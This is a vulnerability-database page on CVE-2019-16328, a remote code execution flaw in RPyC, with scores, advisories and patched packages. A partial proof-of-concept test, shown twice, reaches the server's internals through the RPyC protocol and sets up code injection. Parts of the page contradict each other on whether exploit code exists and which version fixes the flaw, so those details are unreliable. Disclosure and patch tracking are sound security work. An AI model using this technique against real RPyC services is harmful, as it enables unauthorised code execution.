CVE-2019-16328
Duplicate Advisory: Possible remote code execution via a remote procedure call
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
NVD Score used
7.5
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
CVE-2019-16328- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - CVSS 2.0
- 5.0 Medium
AV:N/AC:L/Au:N/C:N/I:P/A:N - Weakness
- CWE-1321
- Updated
- 2026-11-02
CVE List No score
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
CVE-2019-16328- Updated
- 2026-11-02
EUVDEUVD-2019-0126 No score
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
EUVD-2019-0126- Updated
- 2026-11-03
GitHub AdvisoriesGHSA-pj4g-4488-wmxm
8.5
Dynamic modification of RPyC service due to missing security check
Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
Workarounds
The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.
References
CVE-2019-16328 RPyC Security Documentation
For more information
If you have any questions or comments about this advisory:
- Open an issue using GitHub
Proof of Concept
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules =…
- Record
GHSA-pj4g-4488-wmxm- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-285, CWE-1321
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9ggp-4jpr-7ppj No score
Duplicate Advisory: Possible remote code execution via a remote procedure call
Withdrawn: duplicate of GHSA-pj4g-4488-wmxm
Original Description
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
GHSA-9ggp-4jpr-7ppj- Updated
- 2026-11-02
OSV
7.5
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
CVE-2019-16328- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Show 9 moreShow less
OSVGHSA-pj4g-4488-wmxm
8.5
Dynamic modification of RPyC service due to missing security check
Impact
Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.
Patches
Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.
Workarounds
The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.
References
CVE-2019-16328 RPyC Security Documentation
For more information
If you have any questions or comments about this advisory:
- Open an issue using GitHub
Proof of Concept
import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest
PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc
class Foe(object):
foo = "bar"
class Fee(rpyc.Service):
exposed_Fie = Foe
def exposed_nop(self):
return
if __name__ == "__main__":
server = ThreadedServer(Fee, port={PORT}, auto_register=False)
thd = server.start()
"""
def setattr_orig(target, attrname, codeobj):
setattr(target, attrname, codeobj)
def myeval(self=None, cmd="__import__('sys')"):
return eval(cmd)
def get_code(obj_codetype, func, filename=None, name=None):
func_code = func.__code__
arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
'co_lnotab', 'co_freevars', 'co_cellvars']
codetype_args = [getattr(func_code, n) for n in arg_names]
if filename:
codetype_args[arg_names.index('co_filename')] = filename
if name:
codetype_args[arg_names.index('co_name')] = name
mycode = obj_codetype(*codetype_args)
return mycode
def _vercmp_gt(ver1, ver2):
ver1_gt_ver2 = False
for i, v1 in enumerate(ver1):
v2 = ver2[i]
if v1 > v2:
ver1_gt_ver2 = True
break
elif v1 == v2:
continue
else: # v1 < v2
break
return ver1_gt_ver2
@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.logger = logging.getLogger('rpyc')
cls.logger.setLevel(logging.DEBUG) # NOTSET only traverses until another level is found, so DEBUG is preferred
cls.hscript = tempfile.NamedTemporaryFile()
cls.hscript.write(SERVER_SCRIPT.encode())
cls.hscript.flush()
while cls.hscript.file.tell() != len(SERVER_SCRIPT):
pass
cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
cls.conn = rpyc.connect("localhost", PORT)
@classmethod
def tearDownClass(cls):
cls.conn.close()
cls.logger.info(cls.server.stdout.read())
cls.logger.info(cls.server.stderr.read())
cls.server.kill()
cls.hscript.close()
def netref_getattr(self, netref, attrname):
# PoC CWE-358: abuse __cmp__ function that was missing a security check
handler = rpyc.core.consts.HANDLE_CMP
return self.conn.sync_request(handler, netref, attrname, '__getattribute__')
def test_1_modify_nop(self):
# create netrefs for builtins and globals that will be used to construct on remote
remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
remote_modules =…
- Record
GHSA-pj4g-4488-wmxm- CVSS 3.1
- 8.5 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-1321, CWE-285
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2019-16328
7.5
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
UBUNTU-CVE-2019-16328- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
OSVGHSA-9ggp-4jpr-7ppj No score
Duplicate Advisory: Possible remote code execution via a remote procedure call
Withdrawn: duplicate of GHSA-pj4g-4488-wmxm
Original Description
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
GHSA-9ggp-4jpr-7ppj- Updated
- 2026-11-02
OSVopenSUSE-SU-2020:0685-1 No score
Security update for python-rpyc
This update for python-rpyc to 4.1.5 fixes the following issues:
Security issue fixed:
- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).
- Record
openSUSE-SU-2020:0685-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2020:0763-1 No score
Security update for python-rpyc
This update for python-rpyc to 4.1.5 fixes the following issues:
Security issue fixed:
- CVE-2019-16328: Fixed a missing protocol security check that could have led to code execution (boo#1152987).
This update was imported from the openSUSE:Leap:15.1:Update update project.
- Record
openSUSE-SU-2020:0763-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:11268-1 No score
python36-rpyc-4.1.5-2.7 on GA media
These are all security issues fixed in the python36-rpyc-4.1.5-2.7 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:11268-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2024:14162-1 No score
python310-rpyc-6.0.0-1.2 on GA media
These are all security issues fixed in the python310-rpyc-6.0.0-1.2 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2024:14162-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12040-1 No score
python313-rpyc-6.0.2-1.5 on GA media
These are all security issues fixed in the python313-rpyc-6.0.2-1.5 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12040-1- Updated
- 2026-11-02
OSVPYSEC-2019-118 No score
In RPyC 4.1.x through 4.1.1, a remote attacker can dynamically modify object attributes to construct a remote procedure call that executes code for an RPyC service with default configuration settings.
- Record
PYSEC-2019-118- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
rpycPyPI |
4.1.0 to 4.1.0 | 4.1.1 |
rpycPyPI |
4.1.0 up to 4.1.1 | 4.1.1 |
rpycPyPI |
4.1.0 up to 4.1.2, plus listed versions 4.1.1 |
4.1.2 |
python-rpycopenSUSE:Leap 15.1 |
before 4.1.5-lp151.3.3.1 | 4.1.5-lp151.3.3.1 |
python-rpyc-testopenSUSE:Leap 15.1 |
before 4.1.5-lp151.3.3.1 | 4.1.5-lp151.3.3.1 |
python-rpycSUSE:Package Hub 15 SP1 |
before 4.1.5-bp151.2.3.1 | 4.1.5-bp151.2.3.1 |
python-rpyc-testSUSE:Package Hub 15 SP1 |
before 4.1.5-bp151.2.3.1 | 4.1.5-bp151.2.3.1 |
python-rpycopenSUSE:Tumbleweed |
before 6.0.0-1.2 | 6.0.0-1.2 |
python-rpycopenSUSE:Tumbleweed From an advisory covering 2 CVEs |
before 6.0.2-1.5 | 6.0.2-1.5 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Metasploit | RPyC 4.1.0 through 4.1.1 Remote Command Execution | 2023-02-19 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| affected | ||
| aliases | EUVD | |
| first indexed | CVE List, GitHub Advisories, Metasploit, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2019-16328 is a high vulnerability (CVSS 7.5) in Rpyc Project Rpyc, published October 3, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 13.0%, the 96th percentile. Fixed in rpyc 4.1.1.
References
github.com/tomerfiliba/rpyc
rpyc.readthedocs.io/en/latest/docs/security.html
lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html
lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html
nvd.nist.gov/vuln/detail/CVE-2019-16328
github.com/advisories/GHSA-9ggp-4jpr-7ppj
Show 11 moreShow less
github.com/advisories/GHSA-pj4g-4488-wmxm
github.com/pypa/advisory-database/tree/main/vulns/rpyc/PYSEC-2019-118.yaml
github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm
github.com/tomerfiliba-org/rpyc
ubuntu.com/security/CVE-2019-16328
cve.org/CVERecord?id=CVE-2019-16328
lists.opensuse.org/archives/list/[email protected]/thread/YHUKBLKWZWODQKPCVHXLQCUVGYXZ2GNZ
bugzilla.suse.com/1152987
suse.com/security/cve/CVE-2019-16328
lists.opensuse.org/archives/list/[email protected]/thread/P2P2Z5TQ7S4G5GV2BXHOSEUU7WD6ISPM
suse.com/security/cve/CVE-2024-27758
Left out here: the rest of 2 source descriptions. The JSON record has them.